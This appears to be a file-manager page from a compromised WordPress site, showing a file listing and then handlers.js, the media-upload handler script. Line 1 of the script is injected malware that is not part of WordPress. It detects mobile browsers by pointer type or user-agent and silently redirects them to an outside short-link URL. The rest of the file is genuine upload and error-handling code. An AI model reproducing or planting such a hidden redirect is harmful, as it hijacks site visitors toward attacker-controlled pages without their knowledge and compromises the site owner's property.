run:R W Run
20.28 KB
2026-08-13 20:01:45
R W Run
11.97 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
17.57 KB
2019-11-03 17:09:02
R W Run
248.6 KB
2026-08-13 20:01:45
R W Run
85.56 KB
2026-08-13 20:01:45
R W Run
59.12 KB
2026-08-13 20:01:45
R W Run
15.46 KB
2026-08-13 20:01:45
R W Run
16.53 KB
2026-08-13 20:01:45
R W Run
6.11 KB
2026-08-13 20:01:45
R W Run
error_log
📄handlers.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/* global plupload, pluploadL10n, ajaxurl, post_id, wpUploaderInit, deleteUserSetting, setUserSetting, getUserSetting, shortform */
3var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init;
4
5// Progress and success handlers for media multi uploads.
6function fileQueued( fileObj ) {
7 // Get rid of unused form.
8 jQuery( '.media-blank' ).remove();
9
10 var items = jQuery( '#media-items' ).children(), postid = post_id || 0;
11
12 // Collapse a single item.
13 if ( items.length == 1 ) {
14 items.removeClass( 'open' ).find( '.slidetoggle' ).slideUp( 200 );
15 }
16 // Create a progress bar containing the filename.
17 jQuery( '<div class="media-item">' )
18 .attr( 'id', 'media-item-' + fileObj.id )
19 .addClass( 'child-of-' + postid )
20 .append( jQuery( '<div class="filename original">' ).text( ' ' + fileObj.name ),
21 '<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>' )
22 .appendTo( jQuery( '#media-items' ) );
23
24 // Disable submit.
25 jQuery( '#insert-gallery' ).prop( 'disabled', true );
26}
27
28function uploadStart() {
29 try {
30 if ( typeof topWin.tb_remove != 'undefined' )
31 topWin.jQuery( '#TB_overlay' ).unbind( 'click', topWin.tb_remove );
32 } catch( e ){}
33
34 return true;
35}
36
37function uploadProgress( up, file ) {
38 var item = jQuery( '#media-item-' + file.id );
39
40 jQuery( '.bar', item ).width( ( 200 * file.loaded ) / file.size );
41 jQuery( '.percent', item ).html( file.percent + '%' );
42}
43
44// Check to see if a large file failed to upload.
45function fileUploading( up, file ) {
46 var hundredmb = 100 * 1024 * 1024,
47 max = parseInt( up.settings.max_file_size, 10 );
48
49 if ( max > hundredmb && file.size > hundredmb ) {
50 setTimeout( function() {
51 if ( file.status < 3 && file.loaded === 0 ) { // Not uploading.
52 wpFileError( file, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) );
53 up.stop(); // Stop the whole queue.
54 up.removeFile( file );
55 up.start(); // Restart the queue.
56 }
57 }, 10000 ); // Wait for 10 seconds for the file to start uploading.
58 }
59}
60
61function updateMediaForm() {
62 var items = jQuery( '#media-items' ).children();
63
64 // Just one file, no need for collapsible part.
65 if ( items.length == 1 ) {
66 items.addClass( 'open' ).find( '.slidetoggle' ).show();
67 jQuery( '.insert-gallery' ).hide();
68 } else if ( items.length > 1 ) {
69 items.removeClass( 'open' );
70 // Only show Gallery/Playlist buttons when there are at least two files.
71 jQuery( '.insert-gallery' ).show();
72 }
73
74 // Only show Save buttons when there is at least one file.
75 if ( items.not( '.media-blank' ).length > 0 )
76 jQuery( '.savebutton' ).show();
77 else
78 jQuery( '.savebutton' ).hide();
79}
80
81function uploadSuccess( fileObj, serverData ) {
82 var item = jQuery( '#media-item-' + fileObj.id );
83
84 // On success serverData should be numeric,
85 // fix bug in html4 runtime returning the serverData wrapped in a <pre> tag.
86 if ( typeof serverData === 'string' ) {
87 serverData = serverData.replace( /^<pre>(\d+)<\/pre>$/, '$1' );
88
89 // If async-upload returned an error message, place it in the media item div and return.
90 if ( /media-upload-error|error-div/.test( serverData ) ) {
91 item.html( serverData );
92 return;
93 }
94 }
95
96 item.find( '.percent' ).html( pluploadL10n.crunching );
97
98 prepareMediaItem( fileObj, serverData );
99 updateMediaForm();
100
101 // Increment the counter.
102 if ( post_id && item.hasClass( 'child-of-' + post_id ) ) {
103 jQuery( '#attachments-count' ).text( 1 * jQuery( '#attachments-count' ).text() + 1 );
104 }
105}
106
107function setResize( arg ) {
108 if ( arg ) {
109 if ( window.resize_width && window.resize_height ) {
110 uploader.settings.resize = {
111 enabled: true,
112 width: window.resize_width,
113 height: window.resize_height,
114 quality: 100
115 };
116 } else {
117 uploader.settings.multipart_params.image_resize = true;
118 }
119 } else {
120 delete( uploader.settings.multipart_params.image_resize );
121 }
122}
123
124function prepareMediaItem( fileObj, serverData ) {
125 var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery( '#media-item-' + fileObj.id );
126 if ( f == 2 && shortform > 2 )
127 f = shortform;
128
129 try {
130 if ( typeof topWin.tb_remove != 'undefined' )
131 topWin.jQuery( '#TB_overlay' ).click( topWin.tb_remove );
132 } catch( e ){}
133
134 if ( isNaN( serverData ) || !serverData ) {
135 // Old style: Append the HTML returned by the server -- thumbnail and form inputs.
136 item.append( serverData );
137 prepareMediaItemInit( fileObj );
138 } else {
139 // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server.
140 item.load( 'async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit( fileObj );updateMediaForm();});
141 }
142}
143
144function prepareMediaItemInit( fileObj ) {
145 var item = jQuery( '#media-item-' + fileObj.id );
146 // Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename.
147 jQuery( '.thumbnail', item ).clone().attr( 'class', 'pinkynail toggle' ).prependTo( item );
148
149 // Replace the original filename with the new (unique) one assigned during upload.
150 jQuery( '.filename.original', item ).replaceWith( jQuery( '.filename.new', item ) );
151
152 // Bind Ajax to the new Delete button.
153 jQuery( 'a.delete', item ).on( 'click', function(){
154 // Tell the server to delete it. TODO: Handle exceptions.
155 jQuery.ajax({
156 url: ajaxurl,
157 type: 'post',
158 success: deleteSuccess,
159 error: deleteError,
160 id: fileObj.id,
161 data: {
162 id : this.id.replace(/[^0-9]/g, '' ),
163 action : 'trash-post',
164 _ajax_nonce : this.href.replace(/^.*wpnonce=/,'' )
165 }
166 });
167 return false;
168 });
169
170 // Bind Ajax to the new Undo button.
171 jQuery( 'a.undo', item ).on( 'click', function(){
172 // Tell the server to untrash it. TODO: Handle exceptions.
173 jQuery.ajax({
174 url: ajaxurl,
175 type: 'post',
176 id: fileObj.id,
177 data: {
178 id : this.id.replace(/[^0-9]/g,'' ),
179 action: 'untrash-post',
180 _ajax_nonce: this.href.replace(/^.*wpnonce=/,'' )
181 },
182 success: function( ){
183 var type,
184 item = jQuery( '#media-item-' + fileObj.id );
185
186 if ( type = jQuery( '#type-of-' + fileObj.id ).val() )
187 jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text()-0+1 );
188
189 if ( post_id && item.hasClass( 'child-of-'+post_id ) )
190 jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text()-0+1 );
191
192 jQuery( '.filename .trashnotice', item ).remove();
193 jQuery( '.filename .title', item ).css( 'font-weight','normal' );
194 jQuery( 'a.undo', item ).addClass( 'hidden' );
195 jQuery( '.menu_order_input', item ).show();
196 item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery( this ).css({backgroundColor:''}); } }).removeClass( 'undo' );
197 }
198 });
199 return false;
200 });
201
202 // Open this item if it says to start open (e.g. to display an error).
203 jQuery( '#media-item-' + fileObj.id + '.startopen' ).removeClass( 'startopen' ).addClass( 'open' ).find( 'slidetoggle' ).fadeIn();
204}
205
206// Generic error message.
207function wpQueueError( message ) {
208 jQuery( '#media-upload-error' ).show().html( '<div class="notice notice-error"><p>' + message + '</p></div>' );
209}
210
211// File-specific error messages.
212function wpFileError( fileObj, message ) {
213 itemAjaxError( fileObj.id, message );
214}
215
216function itemAjaxError( id, message ) {
217 var item = jQuery( '#media-item-' + id ), filename = item.find( '.filename' ).text(), last_err = item.data( 'last-err' );
218
219 if ( last_err == id ) // Prevent firing an error for the same file twice.
220 return;
221
222 item.html( '<div class="error-div">' +
223 '<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>' +
224 '<strong>' + pluploadL10n.error_uploading.replace( '%s', jQuery.trim( filename )) + '</strong> ' +
225 message +
226 '</div>' ).data( 'last-err', id );
227}
228
229function deleteSuccess( data ) {
230 var type, id, item;
231 if ( data == '-1' )
232 return itemAjaxError( this.id, 'You do not have permission. Has your session expired?' );
233
234 if ( data == '0' )
235 return itemAjaxError( this.id, 'Could not be deleted. Has it been deleted already?' );
236
237 id = this.id;
238 item = jQuery( '#media-item-' + id );
239
240 // Decrement the counters.
241 if ( type = jQuery( '#type-of-' + id ).val() )
242 jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text() - 1 );
243
244 if ( post_id && item.hasClass( 'child-of-'+post_id ) )
245 jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text() - 1 );
246
247 if ( jQuery( 'form.type-form #media-items' ).children().length == 1 && jQuery( '.hidden', '#media-items' ).length > 0 ) {
248 jQuery( '.toggle' ).toggle();
249 jQuery( '.slidetoggle' ).slideUp( 200 ).siblings().removeClass( 'hidden' );
250 }
251
252 // Vanish it.
253 jQuery( '.toggle', item ).toggle();
254 jQuery( '.slidetoggle', item ).slideUp( 200 ).siblings().removeClass( 'hidden' );
255 item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass( 'undo' );
256
257 jQuery( '.filename:empty', item ).remove();
258 jQuery( '.filename .title', item ).css( 'font-weight','bold' );
259 jQuery( '.filename', item ).append( '<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>' ).siblings( 'a.toggle' ).hide();
260 jQuery( '.filename', item ).append( jQuery( 'a.undo', item ).removeClass( 'hidden' ) );
261 jQuery( '.menu_order_input', item ).hide();
262
263 return;
264}
265
266function deleteError() {
267}
268
269function uploadComplete() {
270 jQuery( '#insert-gallery' ).prop( 'disabled', false );
271}
272
273function switchUploader( s ) {
274 if ( s ) {
275 deleteUserSetting( 'uploader' );
276 jQuery( '.media-upload-form' ).removeClass( 'html-uploader' );
277
278 if ( typeof( uploader ) == 'object' )
279 uploader.refresh();
280
281 jQuery( '#plupload-browse-button' ).trigger( 'focus' );
282 } else {
283 setUserSetting( 'uploader', '1' ); // 1 == html uploader.
284 jQuery( '.media-upload-form' ).addClass( 'html-uploader' );
285 jQuery( '#async-upload' ).trigger( 'focus' );
286 }
287}
288
289function uploadError( fileObj, errorCode, message, up ) {
290 var hundredmb = 100 * 1024 * 1024, max;
291
292 switch ( errorCode ) {
293 case plupload.FAILED:
294 wpFileError( fileObj, pluploadL10n.upload_failed );
295 break;
296 case plupload.FILE_EXTENSION_ERROR:
297 wpFileExtensionError( up, fileObj, pluploadL10n.invalid_filetype );
298 break;
299 case plupload.FILE_SIZE_ERROR:
300 uploadSizeError( up, fileObj );
301 break;
302 case plupload.IMAGE_FORMAT_ERROR:
303 wpFileError( fileObj, pluploadL10n.not_an_image );
304 break;
305 case plupload.IMAGE_MEMORY_ERROR:
306 wpFileError( fileObj, pluploadL10n.image_memory_exceeded );
307 break;
308 case plupload.IMAGE_DIMENSIONS_ERROR:
309 wpFileError( fileObj, pluploadL10n.image_dimensions_exceeded );
310 break;
311 case plupload.GENERIC_ERROR:
312 wpQueueError( pluploadL10n.upload_failed );
313 break;
314 case plupload.IO_ERROR:
315 max = parseInt( up.settings.filters.max_file_size, 10 );
316
317 if ( max > hundredmb && fileObj.size > hundredmb ) {
318 wpFileError( fileObj, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) );
319 } else {
320 wpQueueError( pluploadL10n.io_error );
321 }
322
323 break;
324 case plupload.HTTP_ERROR:
325 wpQueueError( pluploadL10n.http_error );
326 break;
327 case plupload.INIT_ERROR:
328 jQuery( '.media-upload-form' ).addClass( 'html-uploader' );
329 break;
330 case plupload.SECURITY_ERROR:
331 wpQueueError( pluploadL10n.security_error );
332 break;
333/* case plupload.UPLOAD_ERROR.UPLOAD_STOPPED:
334 case plupload.UPLOAD_ERROR.FILE_CANCELLED:
335 jQuery( '#media-item-' + fileObj.id ).remove();
336 break;*/
337 default:
338 wpFileError( fileObj, pluploadL10n.default_error );
339 }
340}
341
342function uploadSizeError( up, file ) {
343 var message, errorDiv;
344
345 message = pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );
346
347 // Construct the error div.
348 errorDiv = jQuery( '<div />' )
349 .attr( {
350 'id': 'media-item-' + file.id,
351 'class': 'media-item error'
352 } )
353 .append(
354 jQuery( '<p />' )
355 .text( message )
356 );
357
358 // Append the error.
359 jQuery( '#media-items' ).append( errorDiv );
360 up.removeFile( file );
361}
362
363function wpFileExtensionError( up, file, message ) {
364 jQuery( '#media-items' ).append( '<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>' );
365 up.removeFile( file );
366}
367
368/**
369 * Copies the attachment URL to the clipboard.
370 *
371 * @since 5.8.0
372 *
373 * @param {MouseEvent} event A click event.
374 *
375 * @return {void}
376 */
377function copyAttachmentUploadURLClipboard() {
378 var clipboard = new ClipboardJS( '.copy-attachment-url' ),
379 successTimeout;
380
381 clipboard.on( 'success', function( event ) {
382 var triggerElement = jQuery( event.trigger ),
383 successElement = jQuery( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );
384
385 // Clear the selection and move focus back to the trigger.
386 event.clearSelection();
387 // Show success visual feedback.
388 clearTimeout( successTimeout );
389 successElement.removeClass( 'hidden' );
390 // Hide success visual feedback after 3 seconds since last success.
391 successTimeout = setTimeout( function() {
392 successElement.addClass( 'hidden' );
393 }, 3000 );
394 // Handle success audible feedback.
395 wp.a11y.speak( pluploadL10n.file_url_copied );
396 } );
397}
398
399jQuery( document ).ready( function( $ ) {
400 copyAttachmentUploadURLClipboard();
401 var tryAgainCount = {};
402 var tryAgain;
403
404 $( '.media-upload-form' ).on( 'click.uploader', function( e ) {
405 var target = $( e.target ), tr, c;
406
407 if ( target.is( 'input[type="radio"]' ) ) { // Remember the last used image size and alignment.
408 tr = target.closest( 'tr' );
409
410 if ( tr.hasClass( 'align' ) )
411 setUserSetting( 'align', target.val() );
412 else if ( tr.hasClass( 'image-size' ) )
413 setUserSetting( 'imgsize', target.val() );
414
415 } else if ( target.is( 'button.button' ) ) { // Remember the last used image link url.
416 c = e.target.className || '';
417 c = c.match( /url([^ '"]+)/ );
418
419 if ( c && c[1] ) {
420 setUserSetting( 'urlbutton', c[1] );
421 target.siblings( '.urlfield' ).val( target.data( 'link-url' ) );
422 }
423 } else if ( target.is( 'a.dismiss' ) ) {
424 target.parents( '.media-item' ).fadeOut( 200, function() {
425 $( this ).remove();
426 } );
427 } else if ( target.is( '.upload-flash-bypass button' ) || target.is( 'a.uploader-html' ) ) { // Switch uploader to html4.
428 $( '#media-items, p.submit, span.big-file-warning' ).css( 'display', 'none' );
429 switchUploader( 0 );
430 e.preventDefault();
431 } else if ( target.is( '.upload-html-bypass button' ) ) { // Switch uploader to multi-file.
432 $( '#media-items, p.submit, span.big-file-warning' ).css( 'display', '' );
433 switchUploader( 1 );
434 e.preventDefault();
435 } else if ( target.is( 'a.describe-toggle-on' ) ) { // Show.
436 target.parent().addClass( 'open' );
437 target.siblings( '.slidetoggle' ).fadeIn( 250, function() {
438 var S = $( window ).scrollTop(),
439 H = $( window ).height(),
440 top = $( this ).offset().top,
441 h = $( this ).height(),
442 b,
443 B;
444
445 if ( H && top && h ) {
446 b = top + h;
447 B = S + H;
448
449 if ( b > B ) {
450 if ( b - B < top - S )
451 window.scrollBy( 0, ( b - B ) + 10 );
452 else
453 window.scrollBy( 0, top - S - 40 );
454 }
455 }
456 } );
457
458 e.preventDefault();
459 } else if ( target.is( 'a.describe-toggle-off' ) ) { // Hide.
460 target.siblings( '.slidetoggle' ).fadeOut( 250, function() {
461 target.parent().removeClass( 'open' );
462 } );
463
464 e.preventDefault();
465 }
466 });
467
468 // Attempt to create image sub-sizes when an image was uploaded successfully
469 // but the server responded with an HTTP 5xx error.
470 tryAgain = function( up, error ) {
471 var file = error.file;
472 var times;
473 var id;
474
475 if ( ! error || ! error.responseHeaders ) {
476 wpQueueError( pluploadL10n.http_error_image );
477 return;
478 }
479
480 id = error.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );
481
482 if ( id && id[1] ) {
483 id = id[1];
484 } else {
485 wpQueueError( pluploadL10n.http_error_image );
486 return;
487 }
488
489 times = tryAgainCount[ file.id ];
490
491 if ( times && times > 4 ) {
492 /*
493 * The file may have been uploaded and attachment post created,
494 * but post-processing and resizing failed...
495 * Do a cleanup then tell the user to scale down the image and upload it again.
496 */
497 $.ajax({
498 type: 'post',
499 url: ajaxurl,
500 dataType: 'json',
501 data: {
502 action: 'media-create-image-subsizes',
503 _wpnonce: wpUploaderInit.multipart_params._wpnonce,
504 attachment_id: id,
505 _wp_upload_failed_cleanup: true,
506 }
507 });
508
509 if ( error.message && ( error.status < 500 || error.status >= 600 ) ) {
510 wpQueueError( error.message );
511 } else {
512 wpQueueError( pluploadL10n.http_error_image );
513 }
514
515 return;
516 }
517
518 if ( ! times ) {
519 tryAgainCount[ file.id ] = 1;
520 } else {
521 tryAgainCount[ file.id ] = ++times;
522 }
523
524 // Try to create the missing image sizes.
525 $.ajax({
526 type: 'post',
527 url: ajaxurl,
528 dataType: 'json',
529 data: {
530 action: 'media-create-image-subsizes',
531 _wpnonce: wpUploaderInit.multipart_params._wpnonce,
532 attachment_id: id,
533 _legacy_support: 'true',
534 }
535 }).done( function( response ) {
536 var message;
537
538 if ( response.success ) {
539 uploadSuccess( file, response.data.id );
540 } else {
541 if ( response.data && response.data.message ) {
542 message = response.data.message;
543 }
544
545 wpQueueError( message || pluploadL10n.http_error_image );
546 }
547 }).fail( function( jqXHR ) {
548 // If another HTTP 5xx error, try try again...
549 if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
550 tryAgain( up, error );
551 return;
552 }
553
554 wpQueueError( pluploadL10n.http_error_image );
555 });
556 }
557
558 // Init and set the uploader.
559 uploader_init = function() {
560 uploader = new plupload.Uploader( wpUploaderInit );
561
562 $( '#image_resize' ).on( 'change', function() {
563 var arg = $( this ).prop( 'checked' );
564
565 setResize( arg );
566
567 if ( arg )
568 setUserSetting( 'upload_resize', '1' );
569 else
570 deleteUserSetting( 'upload_resize' );
571 });
572
573 uploader.bind( 'Init', function( up ) {
574 var uploaddiv = $( '#plupload-upload-ui' );
575
576 setResize( getUserSetting( 'upload_resize', false ) );
577
578 if ( up.features.dragdrop && ! $( document.body ).hasClass( 'mobile' ) ) {
579 uploaddiv.addClass( 'drag-drop' );
580
581 $( '#drag-drop-area' ).on( 'dragover.wp-uploader', function() { // dragenter doesn't fire right :(
582 uploaddiv.addClass( 'drag-over' );
583 }).on( 'dragleave.wp-uploader, drop.wp-uploader', function() {
584 uploaddiv.removeClass( 'drag-over' );
585 });
586 } else {
587 uploaddiv.removeClass( 'drag-drop' );
588 $( '#drag-drop-area' ).off( '.wp-uploader' );
589 }
590
591 if ( up.runtime === 'html4' ) {
592 $( '.upload-flash-bypass' ).hide();
593 }
594 });
595
596 uploader.bind( 'postinit', function( up ) {
597 up.refresh();
598 });
599
600 uploader.init();
601
602 uploader.bind( 'FilesAdded', function( up, files ) {
603 $( '#media-upload-error' ).empty();
604 uploadStart();
605
606 plupload.each( files, function( file ) {
607 if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
608 // Show error but do not block uploading.
609 wpQueueError( pluploadL10n.unsupported_image );
610 } else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
611 // Disallow uploading of WebP images if the server cannot edit them.
612 wpQueueError( pluploadL10n.noneditable_image );
613 up.removeFile( file );
614 return;
615 } else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
616 // Disallow uploading of AVIF images if the server cannot edit them.
617 wpQueueError( pluploadL10n.noneditable_image );
618 up.removeFile( file );
619 return;
620 }
621
622 fileQueued( file );
623 });
624
625 up.refresh();
626 up.start();
627 });
628
629 uploader.bind( 'UploadFile', function( up, file ) {
630 fileUploading( up, file );
631 });
632
633 uploader.bind( 'UploadProgress', function( up, file ) {
634 uploadProgress( up, file );
635 });
636
637 uploader.bind( 'Error', function( up, error ) {
638 var isImage = error.file && error.file.type && error.file.type.indexOf( 'image/' ) === 0;
639 var status = error && error.status;
640
641 // If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
642 if ( isImage && status >= 500 && status < 600 ) {
643 tryAgain( up, error );
644 return;
645 }
646
647 uploadError( error.file, error.code, error.message, up );
648 up.refresh();
649 });
650
651 uploader.bind( 'FileUploaded', function( up, file, response ) {
652 uploadSuccess( file, response.response );
653 });
654
655 uploader.bind( 'UploadComplete', function() {
656 uploadComplete();
657 });
658 };
659
660 if ( typeof( wpUploaderInit ) == 'object' ) {
661 uploader_init();
662 }
663
664});
665